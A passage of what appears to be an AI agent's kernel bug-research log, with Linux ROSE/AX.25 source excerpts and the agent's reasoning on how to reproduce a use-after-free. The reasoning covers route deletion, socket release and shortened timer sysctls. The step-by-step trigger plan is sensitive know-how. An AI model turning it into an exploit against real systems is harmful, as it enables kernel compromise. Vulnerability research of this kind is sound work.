 735:			printk(KERN_INFO "mkiss: %s: crc mode smack forced.\n",
 736:			       ax->dev->name);
 737:			break;
 738:		case 2:
 739:			ax->crcmode  = CRC_MODE_FLEX;
 740:			printk(KERN_INFO "mkiss: %s: crc mode flexnet forced.\n",
 741:			       ax->dev->name);
 742:			break;
 743:		case 1:
 744:			ax->crcmode  = CRC_MODE_NONE;
 745:			printk(KERN_INFO "mkiss: %s: crc mode disabled.\n",
 746:			       ax->dev->name);
 747:			break;
 748:		case 0:
 749:		default:
 750:			crc_force = 0;
 751:			printk(KERN_INFO "mkiss: %s: crc mode is auto.\n",
 752:			       ax->dev->name);
 753:			ax->crcmode  = CRC_MODE_SMACK_TEST;
 754:		}
 755:		ax->crcauto = (crc_force ? 0 : 1);
 756:	
 757:		netif_start_queue(dev);
 758:	
 759:		/* Done.  We have linked the TTY line to a channel. */
 760:		return 0;
 761:	
 762:	out_free_buffers:
 763:		kfree(ax->rbuff);
 764:		kfree(ax->xbuff);
 765:	
 766:	out_free_netdev:
 767:		free_netdev(dev);
 768:	
 769:	out:
 770:		return err;
 771:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

43/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 36629
							output: 43
							thoughts: 200
						

Thoughts:
**AX.25 Line Discipline and Device Setup**

Okay, so `N_AX25` is definitely line discipline 5, confirmed by that `#define`. Great, that's straightforward. Now I remember, we can set that up pretty easily: open `/dev/ptmx`, set the line discipline with `ioctl(TIOCSETD)`, using the value 5, which gives us something like `ax0`. That's the core.

Alright, what's next? After creating it, we need to bring it up. Right, I recall the `ifreq` structure; we'll use that to set the `IFF_UP` flag via `ioctl(SIOCSIFFLAGS)`. Easy enough to get it running.

Wait... am I forgetting something crucial? Right, the AX.25 address itself! We need to associate an address with the interface, like `ax0`. Hmm, I can't recall off the top of my head if `ax_setup` handles that automatically, or if we need to explicitly set it. I should double check that function, just to be safe. It would be easy to overlook something so fundamental.



44/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_setup]

Results:
map[SourceCode: 639:	static void ax_setup(struct net_device *dev)
 640:	{
 641:		/* Finish setting up the DEVICE info. */
 642:		dev->mtu             = AX_MTU;
 643:		dev->hard_header_len = AX25_MAX_HEADER_LEN;
 644:		dev->addr_len        = AX25_ADDR_LEN;
 645:		dev->type            = ARPHRD_AX25;
 646:		dev->tx_queue_len    = 10;
 647:		dev->header_ops      = &ax25_header_ops;
 648:		dev->netdev_ops	     = &ax_netdev_ops;
 649:	
 650:	
 651:		memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN);
 652:		dev_addr_set(dev, (u8 *)&ax25_defaddr);
 653:	
 654:		dev->flags      = IFF_BROADCAST | IFF_MULTICAST;
 655:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

45/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37458
							output: 41
							thoughts: 699
						

Thoughts:
**Setting Up a ROSE Connection**

Okay, so I'm looking at how to establish this ROSE connection. The initial step is to set the `ax25_defaddr`, which seems to be the entry point for this process. We can bring that up, no problem.

Next, I need to add the ROSE route. I have the `rose_route_struct` defined, which gives me all the fields: address, mask, neighbour, device, number of digis, and the digipeaters themselves. I see I need to define `rose_address` and `ax25_address`. Right, straightforward enough, they're just structures wrapping the address data.

Now, let's set up the route structure itself. I'll zero it out, fill in some example values. It looks like I'm setting a specific ROSE address, a mask, the neighbour's AX.25 callsign, the device to use ("ax0" in this example), and setting the number of digis to zero. Then I'll create a ROSE socket using `socket(AF_ROSE, SOCK_SEQPACKET, 0)` and call `ioctl(rose_sock, SIOCADDRT, &route)` to add the route.

Ah, but wait! There's a check in `rose_ax25_dev_find` to see if the device is actually up. I need to make sure "ax0" is brought up *before* I attempt to add the route.

Once the route is set, then I can connect the socket. The `sockaddr_rose` structure seems to be the way to go here. I'm noting the definition in the kernel header, making sure I have the right data types. Now I just need to `connect()` the socket to this route.

I initialize the `sockaddr_rose` structure, filling in the family as `AF_ROSE` and copying the target ROSE address from the route structure. Now, should I use the neighbour callsign from the route, or something else for `srose_call`? It is important to know that I need to do this `connect()`. But, wait, `rose_connect` actually handles the route lookup. So, this looks like a solid approach, now.



46/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_connect]

Results:
map[SourceCode: 768:	static int rose_connect(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len,
 769:				int flags)
 770:	{
 771:		struct sock *sk = sock->sk;
 772:		struct rose_sock *rose = rose_sk(sk);
 773:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 774:		unsigned char cause, diagnostic;
 775:		ax25_uid_assoc *user;
 776:		int n, err = 0;
 777:	
 778:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 779:			return -EINVAL;
 780:	
 781:		if (addr->srose_family != AF_ROSE)
 782:			return -EINVAL;
 783:	
 784:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 785:			return -EINVAL;
 786:	
 787:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 788:			return -EINVAL;
 789:	
 790:		/* Source + Destination digis should not exceed ROSE_MAX_DIGIS */
 791:		if ((rose->source_ndigis + addr->srose_ndigis) > ROSE_MAX_DIGIS)
 792:			return -EINVAL;
 793:	
 794:		lock_sock(sk);
 795:	
 796:		if (sk->sk_state == TCP_ESTABLISHED && sock->state == SS_CONNECTING) {
 797:			/* Connect completed during a ERESTARTSYS event */
 798:			sock->state = SS_CONNECTED;
 799:			goto out_release;
 800:		}
 801:	
 802:		if (sk->sk_state == TCP_CLOSE && sock->state == SS_CONNECTING) {
 803:			sock->state = SS_UNCONNECTED;
 804:			err = -ECONNREFUSED;
 805:			goto out_release;
 806:		}
 807:	
 808:		if (sk->sk_state == TCP_ESTABLISHED) {
 809:			/* No reconnect on a seqpacket socket */
 810:			err = -EISCONN;
 811:			goto out_release;
 812:		}
 813:	
 814:		if (sk->sk_state == TCP_SYN_SENT) {
 815:			err = -EALREADY;
 816:			goto out_release;
 817:		}
 818:	
 819:		sk->sk_state   = TCP_CLOSE;
 820:		sock->state = SS_UNCONNECTED;
 821:	
 822:		rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
 823:						 &diagnostic, 0);
 824:		if (!rose->neighbour) {
 825:			err = -ENETUNREACH;
 826:			goto out_release;
 827:		}
 828:	
 829:		rose->lci = rose_new_lci(rose->neighbour);
 830:		if (!rose->lci) {
 831:			err = -ENETUNREACH;
 832:			rose_neigh_put(rose->neighbour);
 833:			goto out_release;
 834:		}
 835:	
 836:		if (sock_flag(sk, SOCK_ZAPPED)) {	/* Must bind first - autobinding in this may or may not work */
 837:			struct net_device *dev;
 838:	
 839:			sock_reset_flag(sk, SOCK_ZAPPED);
 840:	
 841:			dev = rose_dev_first();
 842:			if (!dev) {
 843:				err = -ENETUNREACH;
 844:				rose_neigh_put(rose->neighbour);
 845:				goto out_release;
 846:			}
 847:	
 848:			user = ax25_findbyuid(current_euid());
 849:			if (!user) {
 850:				err = -EINVAL;
 851:				rose_neigh_put(rose->neighbour);
 852:				dev_put(dev);
 853:				goto out_release;
 854:			}
 855:	
 856:			memcpy(&rose->source_addr, dev->dev_addr, ROSE_ADDR_LEN);
 857:			rose->source_call = user->call;
 858:			rose->device      = dev;
 859:			netdev_tracker_alloc(rose->device, &rose->dev_tracker,
 860:					     GFP_KERNEL);
 861:			ax25_uid_put(user);
 862:	
 863:			rose_insert_socket(sk);		/* Finish the bind */
 864:		}
 865:		rose->dest_addr   = addr->srose_addr;
 866:		rose->dest_call   = addr->srose_call;
 867:		rose->rand        = ((long)rose & 0xFFFF) + rose->lci;
 868:		rose->dest_ndigis = addr->srose_ndigis;
 869:	
 870:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 871:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 872:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 873:				rose->dest_digis[n] = full_addr->srose_digis[n];
 874:		} else {
 875:			if (rose->dest_ndigis == 1) {
 876:				rose->dest_digis[0] = addr->srose_digi;
 877:			}
 878:		}
 879:	
 880:		/* Move to connecting socket, start sending Connect Requests */
 881:		sock->state   = SS_CONNECTING;
 882:		sk->sk_state     = TCP_SYN_SENT;
 883:	
 884:		rose->state = ROSE_STATE_1;
 885:	
 886:		rose_write_internal(sk, ROSE_CALL_REQUEST);
 887:		rose_start_heartbeat(sk);
 888:		rose_start_t1timer(sk);
 889:	
 890:		/* Now the loop */
 891:		if (sk->sk_state != TCP_ESTABLISHED && (flags & O_NONBLOCK)) {
 892:			err = -EINPROGRESS;
 893:			goto out_release;
 894:		}
 895:	
 896:		/*
 897:		 * A Connect Ack with Choke or timeout or failed routing will go to
 898:		 * closed.
 899:		 */
 900:		if (sk->sk_state == TCP_SYN_SENT) {
 901:			DEFINE_WAIT(wait);
 902:	
 903:			for (;;) {
 904:				prepare_to_wait(sk_sleep(sk), &wait,
 905:						TASK_INTERRUPTIBLE);
 906:				if (sk->sk_state != TCP_SYN_SENT)
 907:					break;
 908:				if (!signal_pending(current)) {
 909:					release_sock(sk);
 910:					schedule();
 911:					lock_sock(sk);
 912:					continue;
 913:				}
 914:				err = -ERESTARTSYS;
 915:				break;
 916:			}
 917:			finish_wait(sk_sleep(sk), &wait);
 918:	
 919:			if (err)
 920:				goto out_release;
 921:		}
 922:	
 923:		if (sk->sk_state != TCP_ESTABLISHED) {
 924:			sock->state = SS_UNCONNECTED;
 925:			err = sock_error(sk);	/* Always set at this point */
 926:			goto out_release;
 927:		}
 928:	
 929:		sock->state = SS_CONNECTED;
 930:	
 931:	out_release:
 932:		release_sock(sk);
 933:	
 934:		return err;
 935:	}
 SourceFile:net/rose/af_rose.c]

47/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41142
							output: 43
							thoughts: 150
						

Thoughts:
**My Immediate Concerns Regarding the ROSE Connection Tear-Down**

Okay, so I'm thinking through this `rose_connect` function. It seems it ultimately triggers `rose_write_internal(sk, ROSE_CALL_REQUEST)`. That function sends a frame, right? And, if we're using `O_NONBLOCK`, that call can return `-EINPROGRESS`. That's the key. If we get that, we *should* be able to safely delete the route, then close the socket.

But here's where it gets hairy. Closing the socket leads to `rose_release`. And that in turn calls `rose_neigh_put(rose->neighbour)`. Now, if the route *was* deleted, the `rose_neigh`'s refcount drops to zero, and it gets freed, right? That all sounds fine in theory.

However, a nagging worry is creeping in. The thing is, `rose_write_internal` *might* have started that `t0timer`. I need to be sure this timer isn't going to get orphaned and cause issues. I really need to double-check the logic within `rose_write_internal` to make sure we're handling that situation correctly. I need to understand what state it's in.



48/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_write_internal]

Results:
map[SourceCode:  95:	/*
  96:	 *  This routine is called when the packet layer internally generates a
  97:	 *  control frame.
  98:	 */
  99:	void rose_write_internal(struct sock *sk, int frametype)
 100:	{
 101:		struct rose_sock *rose = rose_sk(sk);
 102:		struct sk_buff *skb;
 103:		unsigned char  *dptr;
 104:		unsigned char  lci1, lci2;
 105:		int maxfaclen = 0;
 106:		int len, faclen;
 107:		int reserve;
 108:	
 109:		reserve = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + 1;
 110:		len = ROSE_MIN_LEN;
 111:	
 112:		switch (frametype) {
 113:		case ROSE_CALL_REQUEST:
 114:			len   += 1 + ROSE_ADDR_LEN + ROSE_ADDR_LEN;
 115:			maxfaclen = 256;
 116:			break;
 117:		case ROSE_CALL_ACCEPTED:
 118:		case ROSE_CLEAR_REQUEST:
 119:		case ROSE_RESET_REQUEST:
 120:			len   += 2;
 121:			break;
 122:		}
 123:	
 124:		skb = alloc_skb(reserve + len + maxfaclen, GFP_ATOMIC);
 125:		if (!skb)
 126:			return;
 127:	
 128:		/*
 129:		 *	Space for AX.25 header and PID.
 130:		 */
 131:		skb_reserve(skb, reserve);
 132:	
 133:		dptr = skb_put(skb, len);
 134:	
 135:		lci1 = (rose->lci >> 8) & 0x0F;
 136:		lci2 = (rose->lci >> 0) & 0xFF;
 137:	
 138:		switch (frametype) {
 139:		case ROSE_CALL_REQUEST:
 140:			*dptr++ = ROSE_GFI | lci1;
 141:			*dptr++ = lci2;
 142:			*dptr++ = frametype;
 143:			*dptr++ = ROSE_CALL_REQ_ADDR_LEN_VAL;
 144:			memcpy(dptr, &rose->dest_addr,  ROSE_ADDR_LEN);
 145:			dptr   += ROSE_ADDR_LEN;
 146:			memcpy(dptr, &rose->source_addr, ROSE_ADDR_LEN);
 147:			dptr   += ROSE_ADDR_LEN;
 148:			faclen = rose_create_facilities(dptr, rose);
 149:			skb_put(skb, faclen);
 150:			dptr   += faclen;
 151:			break;
 152:	
 153:		case ROSE_CALL_ACCEPTED:
 154:			*dptr++ = ROSE_GFI | lci1;
 155:			*dptr++ = lci2;
 156:			*dptr++ = frametype;
 157:			*dptr++ = 0x00;		/* Address length */
 158:			*dptr++ = 0;		/* Facilities length */
 159:			break;
 160:	
 161:		case ROSE_CLEAR_REQUEST:
 162:			*dptr++ = ROSE_GFI | lci1;
 163:			*dptr++ = lci2;
 164:			*dptr++ = frametype;
 165:			*dptr++ = rose->cause;
 166:			*dptr++ = rose->diagnostic;
 167:			break;
 168:	
 169:		case ROSE_RESET_REQUEST:
 170:			*dptr++ = ROSE_GFI | lci1;
 171:			*dptr++ = lci2;
 172:			*dptr++ = frametype;
 173:			*dptr++ = ROSE_DTE_ORIGINATED;
 174:			*dptr++ = 0;
 175:			break;
 176:	
 177:		case ROSE_RR:
 178:		case ROSE_RNR:
 179:			*dptr++ = ROSE_GFI | lci1;
 180:			*dptr++ = lci2;
 181:			*dptr   = frametype;
 182:			*dptr++ |= (rose->vr << 5) & 0xE0;
 183:			break;
 184:	
 185:		case ROSE_CLEAR_CONFIRMATION:
 186:		case ROSE_RESET_CONFIRMATION:
 187:			*dptr++ = ROSE_GFI | lci1;
 188:			*dptr++ = lci2;
 189:			*dptr++  = frametype;
 190:			break;
 191:	
 192:		default:
 193:			printk(KERN_ERR "ROSE: rose_write_internal - invalid frametype %02X\n", frametype);
 194:			kfree_skb(skb);
 195:			return;
 196:		}
 197:	
 198:		rose_transmit_link(skb, rose->neighbour);
 199:	}
 SourceFile:net/rose/rose_subr.c]

49/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 43185
							output: 41
							thoughts: 435
						

Thoughts:
**Analyzing the ROSE Protocol Sequence**

Okay, so I'm tracing the data flow here within the ROSE protocol implementation.  It looks like `rose_write_internal` is the key function because it calls `rose_transmit_link(skb, rose->neighbour)`, and that's the one that kicks off the `t0timer`. I'm trying to figure out if it's possible to trigger `rose_transmit_link` after deleting a route. Let's break down the scenario step-by-step to be sure.

First, the system will need to:
1.  Create an AX.25 interface, `ax0`, likely using `mkiss`, although I wonder if `netdevsim` might be an option if it's AX.25 compatible, but `mkiss` is the established method.
2.  Bring `ax0` up.
3.  Then, create a ROSE socket.
4.  Next, it will add a route to `ax0` using `SIOCADDRT`.
5.  Then, it will connect the ROSE socket to that route in a non-blocking manner. That calls `rose_connect`, which, importantly, gets a reference to `rose_neigh` - the refcount is now 2.  Then, within `rose_connect`, `rose_write_internal` is called, and *that* calls `rose_transmit_link`, and that's when the `t0timer` gets started.

Now, here's where it gets interesting and I start to question the sequence. Step 6:  the system *deletes* the route using `SIOCDELRT`. This calls `rose_del_node`, which should remove the `rose_neigh` from the list, stop the `t0timer`, and drop the refcount (refcount becomes 1, if I'm interpreting this correctly).

The core of my question is: Can I trigger a new transmission after the route has been deleted?

Now, here's the tricky part, if `t0timer` was stopped in step 6 (which I expect is the case), and I try to transmit something on the socket, I need to restart that timer, if possible.
How?

If I call `send()` on the socket, it should call `rose_sendmsg`. But, wait... `rose_sendmsg` checks `sk->sk_state == TCP_ESTABLISHED`. Since `connect()` is still in progress (or has just completed), the `sk_state` is probably `TCP_SYN_SENT` or something similar, it won't be ESTABLISHED. Therefore, a `send()` call will most likely return `-ENOTCONN`. That's not helpful. So, is there *another* way to trigger `rose_transmit_link`? I need to think this through. What if I just close the socket? What happens then? `rose_release` gets called, right?  Does `rose_release` provide a trigger? Let me check `rose_release`. It might call `rose_write_internal(sk, ROSE_CLEAR_REQUEST)` if the state is `ROSE_STATE_1` . If so, I'll need to figure out what that state is. I need to dig into `rose_release` to confirm.



50/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_release]

Results:
map[SourceCode: 637:	static int rose_release(struct socket *sock)
 638:	{
 639:		struct sock *sk = sock->sk;
 640:		struct rose_sock *rose;
 641:	
 642:		if (sk == NULL) return 0;
 643:	
 644:		sock_hold(sk);
 645:		sock_orphan(sk);
 646:		lock_sock(sk);
 647:		rose = rose_sk(sk);
 648:	
 649:		switch (rose->state) {
 650:		case ROSE_STATE_0:
 651:			release_sock(sk);
 652:			rose_disconnect(sk, 0, -1, -1);
 653:			lock_sock(sk);
 654:			rose_destroy_socket(sk);
 655:			break;
 656:	
 657:		case ROSE_STATE_2:
 658:			rose_neigh_put(rose->neighbour);
 659:			release_sock(sk);
 660:			rose_disconnect(sk, 0, -1, -1);
 661:			lock_sock(sk);
 662:			rose_destroy_socket(sk);
 663:			break;
 664:	
 665:		case ROSE_STATE_1:
 666:		case ROSE_STATE_3:
 667:		case ROSE_STATE_4:
 668:		case ROSE_STATE_5:
 669:			rose_clear_queues(sk);
 670:			rose_stop_idletimer(sk);
 671:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 672:			rose_start_t3timer(sk);
 673:			rose->state  = ROSE_STATE_2;
 674:			sk->sk_state    = TCP_CLOSE;
 675:			sk->sk_shutdown |= SEND_SHUTDOWN;
 676:			sk->sk_state_change(sk);
 677:			sock_set_flag(sk, SOCK_DEAD);
 678:			sock_set_flag(sk, SOCK_DESTROY);
 679:			break;
 680:	
 681:		default:
 682:			break;
 683:		}
 684:	
 685:		spin_lock_bh(&rose_list_lock);
 686:		netdev_put(rose->device, &rose->dev_tracker);
 687:		rose->device = NULL;
 688:		spin_unlock_bh(&rose_list_lock);
 689:		sock->sk = NULL;
 690:		release_sock(sk);
 691:		sock_put(sk);
 692:	
 693:		return 0;
 694:	}
 SourceFile:net/rose/af_rose.c]

51/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 45195
							output: 99
							thoughts: 367
						

Thoughts:
**Analyzing the Potential Race Condition in the ROSE Implementation**

Okay, so `rose_release` is the key. If the state is `ROSE_STATE_1`, it calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`. `rose_write_internal`, in turn, initiates `rose_transmit_link`, which means `t0timer` gets started. Then, the state transitions to `ROSE_STATE_2`, and `t3timer` kicks off. Here's where it gets interesting: moving to `ROSE_STATE_2` *doesn't* immediately trigger `rose_neigh_put`. Instead, we wait for `t3timer` to expire.

When `t3timer` does expire, `rose_timer_expiry` is called, and within that, the code calls `rose_neigh_put`. That call to `rose_neigh_put` is significant because it seems to be the place where `rose_neigh`'s refcount drops to zero, likely leading to the `rose_neigh` structure being freed.

But here’s the rub: remember that `t0timer` was started by `rose_write_internal` during the `rose_release` execution. The core of the problem is that if `t0timer` expires *after* `t3timer` does, it will try to access that freed `rose_neigh` structure. That sounds like a classic use-after-free vulnerability.

I need to confirm the timing of these timers. I’ll need to understand the default settings. Let's look at the timeouts. `t0timer`'s timeout duration is defined by `sysctl_rose_restart_request_timeout`. It looks like the default for `rose_restart_request_timeout` is 60 seconds (60000 milliseconds). If this is accurate, then `rose_t0timer_expiry` is indeed called after 60 seconds. We're on the right track; let's check the setting for `sysctl_rose_restart_request_timeout`.



52/2 2026/05/26 11:36 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:sysctl_rose_restart_request_timeout]

Results:
map[SourceCode:  49:	int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
 SourceFile:net/rose/af_rose.c]

53/2 2026/05/26 11:36 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:sysctl_rose_clear_request_timeout]

Results:
map[SourceCode:  52:	int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
 SourceFile:net/rose/af_rose.c]

54/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 46221
							output: 86
							thoughts: 23
						

Thoughts:
Okay, here's my take on those thoughts, tailored for an expert audience:

**Examining ROSE Default Timepoints**

Alright, before diving too deep, I need to quickly verify my assumptions regarding the default timepoints used within the ROSE framework. Specifically, I need to confirm the values associated with `ROSE_DEFAULT_T0` and `ROSE_DEFAULT_T3`. I know the standard configuration, of course, but it's always worth a double-check to ensure there haven't been any recent modifications that might impact the results I'm about to generate, especially if I'm working with a different environment or configuration than I'm used to. A small oversight here could snowball into significant interpretational issues down the line, so a quick verification will help me prevent potential errors. Let's see what the values are.



55/2 2026/05/26 11:36 tool codesearch-definition-source
0m Error:
requested entity does not exist

Args:
map[ContextFile:include/net/rose.h IncludeLines:true Name:ROSE_DEFAULT_T0]

Results:
map[SourceCode: SourceFile:]

56/2 2026/05/26 11:36 tool codesearch-definition-source
0m Error:
requested entity does not exist

Args:
map[ContextFile:include/net/rose.h IncludeLines:true Name:ROSE_DEFAULT_T3]

Results:
map[SourceCode: SourceFile:]

57/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 46547
							output: 42
							thoughts: 24
						

Thoughts:
Okay, here's my interpretation of that thought process, as if it were my own:

**Finding the ROSE_DEFAULT_T0 Constant**

Right, let's get down to it. I need to locate where the `ROSE_DEFAULT_T0` constant is defined, or used within the Linux kernel's networking stack, specifically within the AX.25 and ROSE protocols. Given that it's related to the ROSE protocol, I'll start by searching in the obvious place: `include/net/rose.h`. That header file is a good starting point for any ROSE-specific definitions and declarations, and it's where I'd expect to find a constant like this. It's likely involved in timer settings, connection parameters, or perhaps a default timeout value. Let's see what's there. Time to dig in and find this constant.



58/2 2026/05/26 11:36 tool grepper
0m Args:
map[Expression:ROSE_DEFAULT_T0]

Results:
map[Output:include/net/rose.h=52=enum {
--
include/net/rose.h-60-
include/net/rose.h:61:#define ROSE_DEFAULT_T0			180000		/* Default T10 T20 value */
include/net/rose.h-62-#define ROSE_DEFAULT_T1			200000		/* Default T11 T21 value */
--
net/rose/af_rose.c=47=static int rose_ndevs = 10;
net/rose/af_rose.c-48-
net/rose/af_rose.c:49:int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
net/rose/af_rose.c-50-int sysctl_rose_call_request_timeout    = ROSE_DEFAULT_T1;
]

59/2 2026/05/26 11:36 tool grepper
0m Args:
map[Expression:ROSE_DEFAULT_T3]

Results:
map[Output:include/net/rose.h=52=enum {
--
include/net/rose.h-63-#define ROSE_DEFAULT_T2			180000		/* Default T12 T22 value */
include/net/rose.h:64:#define	ROSE_DEFAULT_T3			180000		/* Default T13 T23 value */
include/net/rose.h-65-#define	ROSE_DEFAULT_HB			5000		/* Default Holdback value */
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
]

60/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 47259
							output: 44
							thoughts: 619
						

Thoughts:
**Analyzing a Potential Use-After-Free Vulnerability in ROSE Network Code**

Okay, let's break this down. Both `t0timer` and `t3timer` are set to 180 seconds, which is a significant window of time. The key here is the timing. `t0timer` is initiated slightly before `t3timer` within the `rose_transmit_link` and `rose_release` sequences respectively. So, `t0timer` *should* expire slightly before `t3timer`.

My initial thought was, if `t0timer` expired first, `rose_neigh` should still be valid. The function `rose_t0timer_expiry` is called, it triggers a `rose_transmit_restart_request`, which, in turn, calls `rose_send_frame`, and then *restarts* `t0timer`! This is crucial. `t0timer` is *restarted* inside the expiry function itself, which I should have expected but I need to be more attentive to these details.

Then, `t3timer` expires. The report confirms that `t3timer` expiration leads to a call to `rose_neigh_put`, which is designed to free `rose_neigh`. The crash reported in the bug matches this sequence.

The problem, then, is that after `rose_neigh` is freed by the `t3timer`, `t0timer` expires *again* after it restarts itself, and attempts to access the now-freed `rose_neigh`! This leads to the use-after-free vulnerability, which explains the crash in `rose_t0timer_expiry` -> `rose_transmit_restart_request` -> `rose_send_frame`.

Now, 180 seconds is a long time to wait for a crash. I can speed up this analysis with sysctls, specifically `/proc/sys/net/rose/restart_request_timeout` and `/proc/sys/net/rose/clear_request_timeout`. If I set `clear_request_timeout` to a very small value, say 100 milliseconds, and `restart_request_timeout` to a slightly larger value, such as 200 milliseconds, `t3timer` should expire *before* `t0timer` finishes this time, which is exactly the scenario that I need for reproducing the UAF. The race condition should be triggered by making `t3timer` expire and release `rose_neigh` before the now running `t0timer` expires. I should be able to trigger this reliably, and with some more aggressive timings, should be able to more easily debug the crash. I should verify the sysctl names as well.



61/2 2026/05/26 11:36 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:rose_table]

Results:
map[SourceCode:  24:	static struct ctl_table rose_table[] = {
  25:		{
  26:			.procname	= "restart_request_timeout",
  27:			.data		= &sysctl_rose_restart_request_timeout,
  28:			.maxlen		= sizeof(int),
  29:			.mode		= 0644,
  30:			.proc_handler	= proc_dointvec_minmax,
  31:			.extra1		= &min_timer,
  32:			.extra2		= &max_timer
  33:		},
  34:		{
  35:			.procname	= "call_request_timeout",
  36:			.data		= &sysctl_rose_call_request_timeout,
  37:			.maxlen		= sizeof(int),
  38:			.mode		= 0644,
  39:			.proc_handler	= proc_dointvec_minmax,
  40:			.extra1		= &min_timer,
  41:			.extra2		= &max_timer
  42:		},
  43:		{
  44:			.procname	= "reset_request_timeout",
  45:			.data		= &sysctl_rose_reset_request_timeout,
  46:			.maxlen		= sizeof(int),
  47:			.mode		= 0644,
  48:			.proc_handler	= proc_dointvec_minmax,
  49:			.extra1		= &min_timer,
  50:			.extra2		= &max_timer
  51:		},
  52:		{
  53:			.procname	= "clear_request_timeout",
  54:			.data		= &sysctl_rose_clear_request_timeout,
  55:			.maxlen		= sizeof(int),
  56:			.mode		= 0644,
  57:			.proc_handler	= proc_dointvec_minmax,
  58:			.extra1		= &min_timer,
  59:			.extra2		= &max_timer
  60:		},
  61:		{
  62:			.procname	= "no_activity_timeout",
  63:			.data		= &sysctl_rose_no_activity_timeout,
  64:			.maxlen		= sizeof(int),
  65:			.mode		= 0644,
  66:			.proc_handler	= proc_dointvec_minmax,
  67:			.extra1		= &min_idle,
  68:			.extra2		= &max_idle
  69:		},
  70:		{
  71:			.procname	= "acknowledge_hold_back_timeout",
  72:			.data		= &sysctl_rose_ack_hold_back_timeout,
  73:			.maxlen		= sizeof(int),
  74:			.mode		= 0644,
  75:			.proc_handler	= proc_dointvec_minmax,
  76:			.extra1		= &min_timer,
  77:			.extra2		= &max_timer
  78:		},
  79:		{
  80:			.procname	= "routing_control",
  81:			.data		= &sysctl_rose_routing_control,
  82:			.maxlen		= sizeof(int),
  83:			.mode		= 0644,
  84:			.proc_handler	= proc_dointvec_minmax,
  85:			.extra1		= &min_route,
  86:			.extra2		= &max_route
  87:		},
  88:		{
  89:			.procname	= "link_fail_timeout",
  90:			.data		= &sysctl_rose_link_fail_timeout,
  91:			.maxlen		= sizeof(int),
  92:			.mode		= 0644,
  93:			.proc_handler	= proc_dointvec_minmax,
  94:			.extra1		= &min_ftimer,
  95:			.extra2		= &max_ftimer
  96:		},
  97:		{
  98:			.procname	= "maximum_virtual_circuits",
  99:			.data		= &sysctl_rose_maximum_vcs,
 100:			.maxlen		= sizeof(int),
 101:			.mode		= 0644,
 102:			.proc_handler	= proc_dointvec_minmax,
 103:			.extra1		= &min_maxvcs,
 104:			.extra2		= &max_maxvcs
 105:		},
 106:		{
 107:			.procname	= "window_size",
 108:			.data		= &sysctl_rose_window_size,
 109:			.maxlen		= sizeof(int),
 110:			.mode		= 0644,
 111:			.proc_handler	= proc_dointvec_minmax,
 112:			.extra1		= &min_window,
 113:			.extra2		= &max_window
 114:		},
 115:	};
 SourceFile:net/rose/sysctl_net_rose.c]

62/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 49939
							output: 44
							thoughts: 14
						

Thoughts:
Okay, here's my interpretation of those thoughts, crafted with the understanding that I'm speaking to a fellow expert:

**Understanding Timing Parameters**

Alright, so the core question here is the meaning of `min_timer` and `max_timer`. I'm immediately thinking about what context they're being used in. Are we talking about event scheduling, network timeouts, performance metrics, or something else entirely? The actual domain is crucial.

I need to understand if these represent absolute values (like seconds, milliseconds, clock cycles) or are they relative (e.g., percentages, normalized ranges). Are they inclusive or exclusive bounds? The level of precision is also important here. Are we expecting whole numbers or floating-point values?

Then I'm trying to figure out if these timers are related to *user-defined configurations* or *system-generated constraints*. Are they parameters that can be tweaked by external processes, or are they hard-coded limits imposed by the underlying architecture? The answers will change the way I interpret how the system works.

